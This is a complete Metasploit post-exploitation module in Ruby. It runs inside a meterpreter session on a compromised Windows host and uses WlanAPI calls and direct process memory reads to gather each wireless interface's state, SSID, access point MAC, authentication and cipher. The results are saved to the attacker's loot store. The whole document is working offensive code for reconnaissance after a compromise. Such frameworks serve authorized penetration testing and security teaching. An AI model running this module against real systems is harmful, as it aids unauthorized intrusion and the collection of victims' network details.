## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Wireless Current Connection Info', 'Description' => %q{ This module gathers information about the current connection on each wireless lan interface on the target machine. }, 'License' => MSF_LICENSE, 'Author' => ['theLightCosine'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end def run #Opens memory access into the host process mypid = client.sys.process.getpid @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS) @wlanapi = client.railgun.wlanapi wlan_connections= "Wireless LAN Active Connections: \n" wlan_handle = open_handle() unless wlan_handle print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target") print_error("On Windows XP this could also mean the Wireless Zero Configuration Service is turned off") return end wlan_iflist = enum_interfaces(wlan_handle) wlan_iflist.each do |interface| connect_info = query_current_connection(wlan_handle, interface['guid']) guid = guid_to_string(interface['guid']) wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n" if (connect_info) wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n" wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n" wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n" wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n" wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n" wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n" wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n" else wlan_connection << "\tThis interface is not currently connected to a network\n" end print_good(wlan_connection) wlan_connections << wlan_connection end wlan_connections.gsub!(/\x00/,"") store_loot("host.windows.wlan.connections", "text/plain", session, wlan_connections, "wlan_connections.txt", "Wireless LAN Connections") #close the Wlan API Handle closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) if closehandle['return'] == 0 print_status("WlanAPI Handle Closed Successfully") else print_error("There was an error closing the Handle") end end def open_handle begin wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4) rescue return nil end return wlhandle['phClientHandle'] end def query_current_connection(wlan_handle, guid) connection={} conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil) #Grab the pointer to our data structure. We skip voer the Interface State since we already have it #We interpret the connection mode used first pointer = conn_info['ppData'] pointer = (pointer + 4) mode = @host_process.memory.read(pointer,4) mode = mode.unpack("V")[0] case mode when 0 connection['mode'] = "A profile is used to make the connection." when 1 connection['mode'] = "A temporary profile is used to make the connection." when 2 connection['mode'] = "Secure discovery is used to make the connection." when 3 connection['mode'] = "Unsecure discovery is used to make the connection." when 4 connection['mode'] = "connection initiated by wireless service automatically using a persistent profile." when 5 connection['mode'] = "Invalid connection mode." else connection['state'] = "Unknown connection Mode." end #Grab the wirelessprofile name used in the connection pointer = (pointer+4) profile = @host_process.memory.read(pointer,512) connection['profile'] = profile.gsub(/\x00/,"") #Check the size of the SSID value. If we get nothing back, the interface is not currently connected #We return nil and deal with the results back in the calling function pointer = (pointer+512) len_ssid = @host_process.memory.read(pointer,4) unless len_ssid.unpack("V")[0] return nil end #Grabs the SSID of the BSS connected to pointer = (pointer + 4) ssid = @host_process.memory.read(pointer,32) connection['ssid'] = ssid.gsub(/\x00/,"") #Grabs what type of a BSS this is and itnerpretes it into human readable pointer = (pointer + 32) bsstype = @host_process.memory.read(pointer,4) bsstype = bsstype.unpack("V")[0] case bsstype when 1 connection['type'] = "Infrastructure" when 2 connection['type'] = "Independent" when 3 connection['type'] = "Any" else connection['type'] = "Unknown BSS Type" end #Grabs the BSS MAC address pointer = (pointer + 4) bssid = @host_process.memory.read(pointer,6) bssid = bssid.unpack("H*")[0] bssid.insert(2,":") bssid.insert(5,":") bssid.insert(8,":") bssid.insert(11,":") bssid.insert(14,":") connection['bssid'] = bssid #Grabs the physical association type and interprets it into human readable pointer = (pointer + 8) phy_type = @host_process.memory.read(pointer,4) phy_type = phy_type.unpack("V")[0] case phy_type when 1 connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)" when 2 connection['physical'] = "Direct sequence spread spectrum (DSSS)" when 3 connection['physical'] = "Infrared (IR) baseband" when 4 connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)" when 5 connection['physical'] = "High-rate DSSS (HRDSSS)" when 6 connection['physical'] = "Extended rate PHY type" when 7 connection['physical'] = "802.11n PHY type" else connection['physical'] = "Unknown Association Type" end #Grabs the signal strength value pointer = (pointer + 8) signal = @host_process.memory.read(pointer,4) connection['signal'] = signal.unpack("V")[0] #Grabs the recieve rate value pointer = (pointer + 4) rxrate = @host_process.memory.read(pointer,4) connection['rxrate'] = rxrate.unpack("V")[0] #Grabs the transmit rate value pointer = (pointer + 4) txrate = @host_process.memory.read(pointer,4) connection['txrate'] = txrate.unpack("V")[0] #Checks if security is enabled on this BSS pointer = (pointer + 4) security_enabled = @host_process.memory.read(pointer,4) if security_enabled.unpack("V")[0] == 1 connection['security'] = "Yes" else connection['security'] = "No" end #Checks of 802.1x Authentication is used pointer = (pointer + 4) onex = @host_process.memory.read(pointer,4) if onex.unpack("V")[0] == 1 connection['oneX'] = "Yes" else connection['oneX'] = "No" end #Determines wat Authentication Algorithm is being used pointer = (pointer + 4) algo = @host_process.memory.read(pointer,4) algo = algo.unpack("V")[0] case algo when 1 connection['auth'] = "802.11 Open" when 2 connection['auth'] = "802.11 Shared" when 3 connection['auth'] = "WPA" when 4 connection['auth'] = "WPA-PSK" when 5 connection['auth'] = "WPA-None" when 6 connection['auth'] = "RSNA" when 7 connection['auth'] = "RSNA with PSK" else connection['auth'] = "Unknown Algorithm" end #Determines what Cipher is being used pointer = (pointer + 4) cipher = @host_process.memory.read(pointer,4) cipher = cipher.unpack("V")[0] case cipher when 0 connection['cipher'] = "None" when 1 connection['cipher'] = "WEP-40" when 2 connection['cipher'] = "TKIP" when 4 connection['cipher'] = "CCMP" when 5 connection['cipher'] = "WEP-104" when 256 connection['cipher'] = "Use Group Key" when 257 connection['cipher'] = "WEP" else connection['cipher'] = "Unknown Cipher" end return connection end def enum_interfaces(wlan_handle) iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4) pointer= iflist['ppInterfaceList'] numifs = @host_process.memory.read(pointer,4) numifs = numifs.unpack("V")[0] interfaces = [] #Set the pointer ahead to the first element in the array pointer = (pointer + 8) (1..numifs).each do |i| interface = {} #Read the GUID (16 bytes) interface['guid'] = @host_process.memory.read(pointer,16) pointer = (pointer + 16) #Read the description(up to 512 bytes) interface['description'] = @host_process.memory.read(pointer,512) pointer = (pointer + 512) #Read the state of the interface (4 bytes) state = @host_process.memory.read(pointer,4) pointer = (pointer + 4) #Turn the state into human readable form state = state.unpack("V")[0] case state when 0 interface['state'] = "The interface is not ready to operate." when 1 interface['state'] = "The interface is connected to a network." when 2 interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected." when 3 interface['state'] = "The interface is disconnecting from the current network." when 4 interface['state'] = "The interface is not connected to any network." when 5 interface['state'] = "The interface is attempting to associate with a network." when 6 interface['state'] = "Auto configuration is discovering the settings for the network." when 7 interface['state'] = "The interface is in the process of authenticating." else interface['state'] = "Unknown State" end interfaces << interface end return interfaces end #Convert the GUID to human readable form def guid_to_string(guid) aguid = guid.unpack("H*")[0] sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] sguid << "-" + aguid[20,12] + "}" return sguid end end